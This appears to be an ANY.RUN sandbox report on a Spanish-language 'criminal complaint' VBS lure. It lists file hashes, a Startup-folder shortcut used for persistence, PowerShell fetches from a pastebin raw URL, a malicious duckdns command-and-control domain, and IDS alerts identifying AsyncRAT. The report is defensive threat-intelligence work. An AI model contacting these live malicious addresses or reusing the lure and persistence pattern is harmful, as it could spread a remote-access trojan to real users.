Type
6836WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb6836.16432\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbstext
MD5:24DDB12B0D7E9A389F2FE182AE6ECBFA
SHA256:899899375B23748E917BA621FB684EC7C90882AD1E6869235A294B8C12219FD9
6992powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rrd1yfl3.w2t.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3244powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o3ikxgbb.as0.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1124powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_iotm54zb.3ez.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3244powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kjnfpaws.ehh.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6992powershell.exeC:\Users\admin\AppData\Local\Temp\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbstext
MD5:24DDB12B0D7E9A389F2FE182AE6ECBFA
SHA256:899899375B23748E917BA621FB684EC7C90882AD1E6869235A294B8C12219FD9
3244powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\____________________________________________-------.lnkbinary
MD5:DC2297E40853D3108D50096591736281
SHA256:8EAD28337A5E775578E7FB2B84AEA82F51B595A6C2A198D1C86C8FF6D7BBAF0B
6836WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb6836.18011\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbstext
MD5:24DDB12B0D7E9A389F2FE182AE6ECBFA
SHA256:899899375B23748E917BA621FB684EC7C90882AD1E6869235A294B8C12219FD9
6992powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ih5wvujm.o2j.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
232powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fivsemdh.dpo.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
30
DNS requests
17
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2576
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2576
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5468
powershell.exe
GET
301
104.20.4.235:80
http://pastebin.com/raw/V9y5Q5vv
unknown
—
—
shared
3244
powershell.exe
GET
301
104.20.4.235:80
http://pastebin.com/raw/V9y5Q5vv
unknown
—
—
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
192.168.100.255:138
—
—
—
whitelisted
608
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6440
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
—
—
40.115.3.253:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.190.159.68:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4324
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.124.78.146
whitelisted
google.com
  • 172.217.18.14
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted
login.live.com
  • 20.190.159.68
  • 40.126.31.67
  • 40.126.31.71
  • 20.190.159.4
  • 20.190.159.0
  • 20.190.159.73
  • 20.190.159.2
  • 20.190.159.71
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
pastebin.com
  • 104.20.4.235
  • 172.67.19.24
  • 104.20.3.235
shared
bitbucket.org
  • 185.166.143.49
  • 185.166.143.50
  • 185.166.143.48
shared
bbuseruploads.s3.amazonaws.com
  • 54.231.192.169
  • 3.5.12.168
  • 52.217.199.33
  • 52.217.204.41
  • 52.217.9.236
  • 3.5.10.109
  • 52.216.114.35
  • 52.216.187.27
  • 52.217.101.196
  • 52.216.48.113
  • 52.216.38.89
  • 3.5.22.29
  • 52.217.172.129
  • 3.5.12.71
  • 3.5.27.249
  • 16.182.72.9
shared
firebasestorage.googleapis.com
  • 172.217.23.106
  • 142.250.186.74
  • 142.250.186.138
  • 142.250.186.106
  • 142.250.184.202
  • 142.250.185.74
  • 172.217.16.202
  • 172.217.18.10
  • 216.58.206.42
  • 172.217.16.138
  • 142.250.186.42
  • 142.250.185.106
  • 216.58.206.74
  • 142.250.184.234
  • 142.250.185.138
  • 142.250.186.170
whitelisted
nominanuevo.duckdns.org
  • 179.13.4.53
malicious

Threats

PID
Process
Class
Message
2256
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Online Pastebin Text Storage
3244
powershell.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to connect to TLS FireBase Storage
2256
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2256
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
4004
RegSvcs.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
4004
RegSvcs.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (AsyncRAT)
5468
powershell.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to connect to TLS FireBase Storage
4004
RegSvcs.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000.uue